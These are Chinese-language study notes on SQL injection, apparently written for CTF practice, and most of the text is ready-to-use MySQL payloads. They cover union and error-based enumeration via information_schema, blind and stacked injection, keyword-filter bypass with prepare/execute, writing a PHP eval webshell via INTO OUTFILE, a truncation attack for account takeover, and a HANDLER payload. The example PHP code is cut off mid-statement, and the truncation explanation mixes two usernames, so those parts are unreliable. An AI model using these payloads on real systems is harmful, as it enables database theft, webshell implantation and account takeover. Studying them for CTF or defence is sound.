SQL注入笔记
SQL注入
1、通过order by爆出字段数
2、union操作,联合查询,查询的是在同一个数据表的数据,通过union select 1,2,3…,n来判断回显位置
3、information_schema数据库,为mysql自带数据库,提供数据库源数据访问,最常用的是
TABLES表:提供了关于数据库中表的信息
COLUMNS表:提供了表中列的信息
爆破库名:
union select 1,2,database()
//靠错误爆出库名
and exists(select * from aaa)
//aaa表并不存在,此时会报错停止并返回数据库名.aaa
爆破表名:
union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()
and exists(select * from 表名)//爆破出表名
爆破列名:
union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="想查询的表名"
and exists(select 列名 from 已知表名)//爆破出列名
4、报错注入
(1)updatexml:更新XML文档的函数
语法:updatexml(文档类型,xpath路径,更新的内容)
例子:
and updatexml(0x0a,concat(0x0a,(select database())),’1’)
0x0a代表换行符,concat拼接
拼接目的为使得查询结果能完全显示出来
(2)extractvalue:对XML文档进行查询的函数
语法:extractvalue(文档类型,xpath路径)
报错原理:路径中写入不合法的格式,就会报错并且返回我们写入的非法格式内容,我们可以利用这个得到我们想得到的内容
and (select extractvalue(1, concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_schema= 'sqli'))))
提示:报错最长显示30个字符内容,如果内容过长可使用substr函数进行拆分
例题:CTFHub技能树web-SQL注入-报错注入
首先爆破库表列名
进而发现flag过长用substr切割
得到flag
5、盲注:
布尔盲注:回显只有两种情况,一种有一种无
if表达式:if(expr1,expr2,expr3)
expr1为真就返回expr2(可用于执行函数)
substr函数:substr(字符串,起始位置,截取长度)
ascii函数:将函数内字符以ascii表转换为数字,而后可以进行判断
时间盲注:无回显,可以通过sleep函数判断是否为时间盲注
建议直接sqlmap
(1)、sleep函数看延迟时间
(2)、benchmark(执行次数,方式),执行超多次看延迟时间
6、堆叠注入:通过语句分割符号( ; )分隔多条语句,直接将想要的数据插入到表中,然后再通过查询语句读取
7、mysql文件读写:读取:load_file函数:load_file(‘文件路径’)
写入:
select ‘<?php eval($_POST[cmd]);?>’ into outfile或dumpfile '绝对路径';//建议用dumpfile,因为outfile会在文件末行写入新行,使用的转译换行符,会破坏文件完整性,可能导致一句话木马无法执行
8、关键词绕过:通过
(1)、set@a:设定一个语句变量 set@sql=0x16进制数
(2)、prepare : 存储一个sql语句 存到execsql 里面 prepare execsql from @sql
(3)、execute :执行一个sql语句 execute execsql
由于设定语句变量时,mysql会自动将16进制数据转换为文字
9、零碎
to_base64(内容)//该语句将内容经过base64编码后输出
replace(ori,old,new)
%0a,/**/可代替空格
--+,%23,#将后面的语句注释
10、SQL约束攻击
在SQL中执行字符串处理时,字符串末尾的空格符将会被删除。例如如下代码:
SELECT userId from user where username = 'test '//看这里有很多空格
上述代码和username = ‘test’结果是一样的。但也存在异常情况,最好的例子就是LIKE子句了。注意,对尾部空白符的这种修剪操作,主要是在“字符串比较”期间进行的。这是因为,SQL会在内部使用空格来填充字符串,以便在比较之前使其它们的长度保持一致。
在所有的INSERT查询中,SQL都会根据varchar(n)来限制字符串的最大长度。也就是说,如果字符串的长度大于“n”个字符的话,那么仅插入字符串的前“n”个字符。比如特定列的长度约束为“5”个字符,那么在插入字符串“testName”时,实际上只能插入字符串的前5个字符,即“testN”。
//注册示例代码
<?php
$username = mysql_real_escape_string($_GET['username']);
$password = mysql_real_escape_string($_GET['password']);
$query = "SELECT *
FROM users
WHERE username='$username'";
$res = mysql_query($query, $database);
if($res) {
if(mysql_num_rows($res) > 0) {
}
else {
$query = "INSERT INTO users(username, password)
?>
这里注册时使用用户名+【大量空格】和随机密码注册即可完成攻击。
主要原理就是insert时候有varchar(n)的限制,大于n的时候会截取前n个存入。在数据库对字符串进行比较时,即select操作,如果两个字符串的长度不一样,则会将较短的字符串末尾填充空格,使两个字符串的长度一致。注册时select语句不会将”admin+[大量空格]11”删减到n位,所以不会被select查出与admin重复,不会返回数据,接下来就可以插入admin+[空格](截取)11和自定义密码了。
如果使用用户名“vampire”和密码“random_pass”登录的话,对比时是admin与admin+[大量空格],会将前面的admin添加空格与后面的长度相同在进行对比,那么返回的只能是我们自己注册的用户信息,而不会返回目标用户信息。SQL查询语句是一个and操作,如果密码不一样怎么会把目标用户的信息也返回回来?
当登陆时使用admin与自定义密码登陆,数据库将返回我们自己注册的账户信息,但是注意此处的return $username,虽然此时查询出来的是我们自己的用户信息,但是返回的用户名则是目标的用户名。如果此后的业务逻辑直接以该用户名为准,则我们就达到了水平越权的目的。
HANDLER语句查询
出自该题[GYCTF2020]Blacklist,类似于某道堆叠注入的进阶版,但是该题过滤太多了,之前那道题的payload完全不可用了
return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);
知识点:handler语句查询
HANDLER tbl_name OPEN [ [AS] alias]
HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ { FIRST | NEXT }
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name CLOSE
构造出语句如下
payload:
1';use supersqli;handler FlagHere open;handler FlagHere read first;handler FlagHere close;#
distinct+列名可以去除重复值